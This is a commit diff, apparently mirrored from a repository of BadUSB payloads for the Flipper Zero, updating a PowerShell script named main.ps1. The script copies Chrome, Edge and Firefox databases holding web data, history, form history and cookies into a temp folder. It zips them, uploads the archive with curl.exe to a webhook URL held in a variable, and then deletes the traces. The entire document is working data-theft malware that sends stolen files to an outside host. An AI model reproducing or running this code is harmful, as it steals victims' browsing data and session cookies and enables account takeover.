mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2026-01-18 15:46:48 -08:00
Update main.ps1
This commit is contained in:
@@ -1,27 +1,56 @@
|
||||
|
||||
$dc = "$dc"
|
||||
if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url}
|
||||
$sourceDir = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data"
|
||||
$tempFolder = [System.IO.Path]::GetTempPath() + "loot"
|
||||
if (!(Test-Path $tempFolder)){
|
||||
New-Item -Path $tempFolder -ItemType Directory -Force
|
||||
}
|
||||
$temp = [System.IO.Path]::GetTempPath()
|
||||
$tempFolder = Join-Path -Path $temp -ChildPath 'dbfiles'
|
||||
$googledest = Join-Path -Path $tempFolder -ChildPath 'google'
|
||||
$mozdest = Join-Path -Path $tempFolder -ChildPath 'firefox'
|
||||
$edgedest = Join-Path -Path $tempFolder -ChildPath 'edge'
|
||||
New-Item -Path $tempFolder -ItemType Directory -Force
|
||||
sleep 1
|
||||
New-Item -Path $googledest -ItemType Directory -Force
|
||||
New-Item -Path $mozdest -ItemType Directory -Force
|
||||
New-Item -Path $edgedest -ItemType Directory -Force
|
||||
|
||||
$filesToCopy = Get-ChildItem -Path $sourceDir -Filter '*' -Recurse | Where-Object { $_.Name -like 'Web Data' -or $_.Name -like 'History' }
|
||||
foreach ($file in $filesToCopy) {
|
||||
$randomLetters = -join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})
|
||||
$newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension + '.db'
|
||||
$destination = Join-Path -Path $tempFolder -ChildPath $newFileName
|
||||
Copy-Item -Path $file.FullName -Destination $destination -Force
|
||||
}
|
||||
$zipFileName = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "loot.zip")
|
||||
Compress-Archive -Path $tempFolder -DestinationPath $zipFileName
|
||||
$tempFolders = Get-ChildItem -Path $tempFolder -Directory
|
||||
foreach ($folder in $tempFolders) {
|
||||
if ($folder.Name -ne "loot") {
|
||||
Remove-Item -Path $folder.FullName -Recurse -Force
|
||||
sleep 1
|
||||
|
||||
Function CopyFiles {
|
||||
|
||||
param ([string]$dbfile,[string]$folder,[switch]$db)
|
||||
|
||||
Write-Host "Input : $dbfile Selected"
|
||||
Write-Host "Folder : $folder Selected"
|
||||
|
||||
$filesToCopy = Get-ChildItem -Path $dbfile -Filter '*' -Recurse | Where-Object { $_.Name -like 'Web Data' -or $_.Name -like 'History' -or $_.Name -like 'formhistory.sqlite' -or $_.Name -like 'places.sqlite' -or $_.Name -like 'cookies.sqlite'}
|
||||
|
||||
foreach ($file in $filesToCopy) {
|
||||
|
||||
Write-Host $file
|
||||
$randomLetters = -join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})
|
||||
if ($db -eq $true){
|
||||
$newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension + '.db'
|
||||
}
|
||||
else{
|
||||
$newFileName = $file.BaseName + "_" + $randomLetters + $file.Extension
|
||||
}
|
||||
$destination = Join-Path -Path $folder -ChildPath $newFileName
|
||||
Copy-Item -Path $file.FullName -Destination $destination -Force
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
$script:googleDir = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data"
|
||||
$script:firefoxDir = Get-ChildItem -Path "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles" -Directory | Where-Object { $_.Name -like '*.default-release' };$firefoxDir = $firefoxDir.FullName
|
||||
$script:edgeDir = "$Env:USERPROFILE\AppData\Local\Microsoft\Edge\User Data"
|
||||
|
||||
copyFiles -dbfile $googleDir -folder $googledest -db
|
||||
copyFiles -dbfile $firefoxDir -folder $mozdest
|
||||
copyFiles -dbfile $edgeDir -folder $edgedest -db
|
||||
|
||||
$zipFileName = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "dbfiles.zip")
|
||||
Compress-Archive -Path $tempFolder -DestinationPath $zipFileName
|
||||
|
||||
Remove-Item -Path $tempFolder -Recurse -Force
|
||||
|
||||
curl.exe -F file1=@"$zipFileName" $dc | Out-Null
|
||||
sleep 1
|
||||
Remove-Item -Path $zipFileName -Recurse -Force
|
||||
|
||||
Reference in New Issue
Block a user